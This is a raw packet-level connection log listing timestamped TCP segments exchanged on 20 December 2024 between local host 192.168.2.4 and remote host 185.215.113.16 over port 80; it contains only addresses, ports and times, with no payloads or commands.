Dec 20, 2024 11:12:33.193200111 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.193240881 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.194130898 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.194302082 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.194349051 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.195261955 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.195305109 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.195422888 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.195477962 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.196269989 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.196312904 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.196463108 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.196505070 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.197393894 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.197437048 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.197580099 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.197619915 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.198575020 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.198590994 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.198641062 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.199446917 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.199497938 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.199590921 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.199637890 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.200562954 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.200579882 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.200617075 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.200639963 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.201606989 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.201781988 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.201848030 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.202688932 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.202856064 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.202914000 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.203768015 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.203819990 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.203928947 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.203974962 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.204729080 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.204777956 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.340873003 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.340925932 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.340993881 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.341245890 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.341289997 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.341470957 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.341516972 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.341543913 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.341583967 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.342535973 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.342703104 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.342752934 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.343668938 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.343715906 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.343780994 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.343832016 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.344680071 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.344727039 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.344793081 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.344837904 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.345712900 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.345753908 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.345819950 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.345864058 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.346824884 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.346991062 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.347044945 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.347851038 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.347959995 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.348006010 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.348952055 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.348997116 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.349083900 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.349126101 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.349965096 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.350008011 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.350048065 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.350090981 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.351003885 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.351145983 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.351187944 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.352076054 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.352118969 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.352129936 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.352168083 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.353127956 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.353169918 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.353219032 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.353259087 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.354140043 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.354332924 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.354379892 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.355302095 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.355396986 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.355427027 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.355453014 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.356362104 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.356494904 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.356540918 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.357451916 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.357491016 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.357537985 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.357637882 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.358382940 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.358485937 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.358530045 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.359430075 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.359473944 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.359543085 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.359586000 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.360512972 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.360554934 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.360605001 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.360646963 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.361599922 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.361643076 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.361665964 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.361706972 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.362608910 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.362740993 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.362787008 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.363687038 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.363735914 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.363814116 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.363852978 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.364784002 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.364825964 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.364896059 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.364954948 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.365788937 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.365835905 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.365873098 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.366873980 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.366918087 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.366983891 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.367027998 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.367918968 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.367969990 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.367973089 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.368014097 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.368956089 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.369117975 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.369163036 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.370011091 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.370054960 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.370116949 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.370157957 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.371105909 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.371145964 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.371226072 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.371269941 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.372140884 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.372185946 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.372334003 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.372373104 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.373200893 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.373243093 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.373330116 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.373373032 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.374255896 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.374340057 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.374386072 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.375318050 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.375363111 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.375422001 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.375463009 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.376456022 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.376502037 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.376523972 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.376564026 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.377433062 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.377475023 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.377532005 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.377573013 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.378492117 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.378623009 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.378667116 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.379570961 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.379617929 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.379710913 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.379751921 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.380625963 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.380676985 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.380772114 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.380814075 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.381716967 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.381766081 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.381798983 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.381839991 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.382714987 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.382827997 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.382875919 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.383785963 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.383830070 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.383871078 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.383914948 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.384840965 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.384888887 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.384982109 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.385024071 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.385919094 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.385943890 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.385957003 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.386022091 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.386970043 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.387052059 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.387099981 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.388063908 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.388111115 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.388180971 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.388231039 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.389101982 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.389147997 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.389180899 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.389224052 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.390125036 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.390227079 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.390274048 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.391242981 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.391285896 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.391350985 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.391392946 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.392294884 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.392338991 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.392476082 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.392529011 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.393301964 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.393348932 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.393407106 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.393449068 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.394804955 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.394871950 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.394921064 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.395445108 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.395490885 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.395545959 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.395589113 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.533056021 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.533109903 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.533169031 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.533282995 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.533567905 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.533642054 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.533689976 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.534601927 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.534652948 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.534662962 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.534703016 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.535582066 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.535626888 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.535706997 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.535751104 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.536634922 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.536688089 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.536730051 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.536772013 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.537703991 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.537750959 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.537771940 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.537859917 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.538739920 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.538784027 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.538847923 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.538893938 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.539804935 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.539859056 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.539899111 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.539978027 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.540883064 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.540941954 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.540982008 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.541026115 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.541918039 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.541976929 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.541980982 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.542059898 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.543001890 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.543046951 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.543081999 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.543122053 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.544055939 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.544104099 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.544122934 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.544164896 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.545147896 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.545188904 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.545190096 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.545231104 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.546179056 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.546297073 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.546353102 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.547339916 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.547446012 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.547477007 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.547497034 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.548327923 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.548376083 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.548552036 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.548599958 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.549354076 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.549402952 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.549436092 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.549480915 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.550389051 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.550514936 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.550535917 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.550605059 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.551523924 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.551572084 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.551583052 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.551624060 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.552666903 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.552712917 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.552772999 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.552824974 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.553558111 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.553602934 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.553735018 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.553775072 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.554625988 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.554661989 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.554744959 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.554971933 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.555736065 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.555778027 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.555918932 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.556008101 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.556734085 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.556778908 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.556845903 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.556991100 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.557781935 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.557828903 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.557914972 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.558060884 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.558862925 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.558914900 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.558955908 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.558998108 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.559972048 CET	80	49817	185.215.113.16	192.168.2.4
